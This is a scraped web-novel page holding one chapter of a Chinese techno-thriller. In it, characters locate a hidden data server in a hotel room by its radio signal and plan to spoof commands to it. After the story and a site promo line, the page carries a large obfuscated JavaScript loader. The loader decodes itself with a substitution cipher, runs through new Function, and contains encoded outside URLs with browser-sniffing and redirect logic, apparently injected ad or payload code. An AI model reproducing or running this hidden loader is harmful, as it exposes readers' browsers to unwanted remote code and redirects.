第15章 锁孔
第15章锁孔(第1/2页)
服务区的灯光在凌晨四点的风里微微颤动。周承岳没有发动引擎,只是把驾驶座的靠背略微后调了一点,让视线保持在前方路面的覆盖范围内。顾晏把那台频谱仪重新拿了出来,开机后扫了一遍周边环境,屏幕上的噪声曲线平直稳定,没有异常的射频信号。
陆维桢靠在座椅里闭着眼睛,但脑子里“天工“系统的光屏正在持续运作。B1-SUB离线时间戳的数据已经被系统做了多轮关联分析,输出结果以简洁的条目形式排列在他的视野里:十一月二十七日晚八点十七分,B1-SUB向蓉城中心区某IP发出确认信号。该IP段正好覆盖那家国际连锁酒店的B座客房网络。确认信号的数据包大小只有不到十千字节,内容很可能是位置确认或者身份验证,而不是数据本身。
他睁开眼。“范德米尔把硬件拿回了酒店。“他说,“B1-SUB的离线信号发送时间是晚上八点十七分,他在那之前就已经把设备从工厂地下取出来了。今晚他出现在井盖旁边,一是确认ACC-04还在工作,二是看看有没有人在井盖附近做多余的动作。“
周承岳把座椅靠背调回了竖直位置。“所以他手里现在有地下主机的原始数据。“
“有。“陆维桢说,“但他拿到的数据和我们今天替换进终端的那批数据不是同一份。B1-SUB作为地下主机,它存储的数据范围比ACC-04更广。ACC-04只是它的一个数据接收节点,类似于它放在外面的耳朵。B1-SUB里面存着过去一段时间内从多个节点采集汇总的全部原始记录。范德米尔拿走了整套数据集。“
顾晏从挎包里取出手机重新翻看了设备间的照片,把终端列表里那条离线状态的时间戳截图放大。“如果B1-SUB在八点十七分发送了确认信号到酒店IP,说明范德米尔到酒店的时间应该早于八点十七分。他把硬件带进房间之后开机通电,它自动连上了酒店的网络并发送了位置确认信号。“
“那他拿到数据之后为什么还要去井盖旁边确认ACC-04?“周承岳问。
“他要确认数据链路上的每一个环节都处于未被触碰的状态。“陆维桢说,“他有原始数据,但如果ACC-04或者终端链路被人动过,那原始数据和链路数据之间的偏差会被记录下来。他需要确认他的整条采集网络从硬件到传输到接收都还是干净的。今晚他确认完ACC-04之后,才会在明天凌晨三点正式接收终端里存的那批数据。两条链路的数据如果一致,说明系统仍然安全。“
陆维桢说到这里停了半拍。他意识到范德米尔的计划有一个核心逻辑前提:他必须等到明天凌晨三点接收到终端数据之后,才能对比两组数据做一致性判断。这意味着——从现在到明天凌晨三点之间,范德米尔还不会对酒店房间里的B1-SUB硬件做任何处理。他需要那个硬件里的原始数据留着,等到明天凌晨接收完终端数据之后做比对。
“硬件还在他酒店房间里。“陆维桢说,“他没动过它。因为他需要等终端数据到齐之后再一起处理。“
周承岳的车钥匙在点火开关上转动了半圈,引擎低鸣着启动了。他没有说话,但车的方向已经明确——返回市区,朝城中心方向驶去。快速路上的车流在凌晨四点多仍然稀疏,深色SUV以稳定的速度穿过一段段路灯照亮的桥面,城区建筑的轮廓开始在前方的天际线处密集起来。
陆维桢在手机上打开了那家国际连锁酒店的建筑结构图纸,是通过公开的地产备案信息查到的。酒店B座一共十二层,标准层平面呈回字形布局,客房分布在回字形外围,中间是采光天井。范德米尔登记的房间号在六层,朝向西南,正好对着龙科院方向和东郊工厂方向之间的夹角。
“如果硬件被带进房间之后开机通电就自动发送了确认信号,“顾晏说,“那它现在应该还在房间内。酒店客房不像实验室,没有电磁屏蔽,它的射频信号如果还在工作,频谱仪在外部就能收到。“
陆维桢看向顾晏挎包里的那台手持式频谱仪。他在心里估算了一下酒店建筑结构和外部街道之间的距离:六层楼,西南朝向,靠近酒店内部天井的墙壁厚度大约二十五厘米,外侧幕墙是玻璃幕加金属龙骨。射频信号穿透这些结构之后到达街面的衰减量应该仍然处于可测范围内。
“车停酒店对面那条街。“陆维桢说,“面向西南方向,六层高度的位置。如果信号还在,我们在街对面应该能捕捉到。“
(本章未完,请点击下一页继续阅读)第15章锁孔(第2/2页)
周承岳在一个路口减速后转向了酒店北侧的一条平行街。车辆在一排夜间关闭的商铺前面停了下来,车头朝酒店方向。从这个角度看上去,B座六层西南方向的窗户正对着他们所在的街面,之间有大约四十米的直线距离。
顾晏把频谱仪的天线从车窗缝隙伸出去,对准酒店B座六层西南方向的窗面启动了扫描。屏幕上跳出了噪声基底之上的微弱信号峰值,频率稳定在一个与ECHO-7设备工作频段吻合的窄带范围内。信号强度不高,但持续存在,间隔特征和设备待机状态下的周期性心跳信号完全一致。
“硬件还在房间里。“顾晏把屏幕侧向陆维桢,“信号强度显示它的位置在六层西南侧,正对着我们。没有任何移动或者被屏蔽的迹象。它还在原地等明天凌晨的数据比对。“
陆维桢透过前挡风玻璃看向那扇窗户。六楼西南方向的窗帘是半拉的,透出一线暖黄色的室内灯光。看不到人影,看不到活动痕迹。整个酒店外观在凌晨的街道灯光下沉睡着,只有大堂门廊的顶灯亮着将一小片地面照成暖白色。
他把目光收回来,落在自己的手背上。车内的暖气把窗玻璃上的凝霜融化了一层,水滴沿着窗面流下来,把酒店的外轮廓模糊成一条条垂直的亮线。
“B1-SUB的确认信号发送给酒店IP之后,“他开口时声音不大,“服务器那边会收到一个回执,内容应该是'设备已上线,等待数据接收指令'。范德米尔如果想在明天凌晨三点接收数据时让B1-SUB正常工作,他不能把它关机。它要保持在线状态等待指令。“
周承岳在驾驶座上沉默了一下。“那你有没有办法让它“换一个人等待指令“?“
陆维桢看着那扇半拉的窗帘。车窗上的水滴继续垂直流淌着,把窗帘和灯光拉成一道道模糊的流光。他脑子里正在快速评估一个操作的可行性:酒店房间距离街面四十米,设备发出的射频信号被他用频谱仪捕捉到了,那么反向——如果他从街面上向酒店房间发送一个伪造的指令包,只要功率和协议匹配,B1-SUB会把它当作来自服务器的合法指令来响应。
“需要两个条件。“他说,“第一,我要知道它的指令格式——今天从ACC-04和终端数据里我们已经拿到了足够多的协议样本。第二,我要在它接收指令的频段上以适当的功率发送伪造数据包。“
“用定向天线。“顾晏说,“频谱仪的射频输出口可以做发射源,配合一只定向天线聚焦射向六楼那扇窗户。功率控制好,确保信号到达时刚好在设备的接收灵敏度以上,不会让房间内的其他电子设备产生误响应。“
“需要多近距离?“周承岳问。
“不需要更近。“陆维桢说,“四十米,定向天线的波束半径在三米以内,刚好覆盖那扇窗户的区域。我坐在车里就能完成发射。“
他重新看向那扇窗帘半拉的窗户。暖黄色的灯光稳定地从缝隙里透出来,把窗帘边缘的一小段轮廓照得清晰可见。他的手指悬在笔记本的键盘上方,准备开始构造伪造指令包。外面的路灯在凌晨的低温中发出稳定的白光,酒店建筑整体的轮廓在夜空中安静地矗立着,六楼西南朝向那扇窗户透出的灯光像一只半阖的眼睛注视着街对面深色SUV里坐着的人。
但陆维桢在准备开始输入之前,忽然注意到了另一件事。那扇窗帘透出的灯光在窗面左上角有一个极小的暗斑——不是玻璃上的污渍,而是从房间内部投射在窗帘上的一个形状规整的物体剪影,大小和轮廓近似于一台台式机箱或同等尺寸的设备。它贴在窗帘内侧,没有移动,没有变化,和灯光一起稳定地存在于那里。
他盯着那个暗斑看了几秒。天工系统的光屏自动拉近了那个区域的图像对比度,暗斑的边缘被锐化后呈现出清晰的矩形轮廓,侧面还有一组隐约可见的通风孔阵列——那种标准服务器机箱的散热格栅形态。B1-SUB就放在窗帘内侧的桌面上,正面朝向龙科院的方向,正在安静地等待明天凌晨三点接到的指令。它的散热格栅在窗帘上留出的暗斑像是嵌在光线里的一个方形印记,比周围亮着的部分暗了一整圈,像是在告诉对面街上的每个人它所处的位置。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();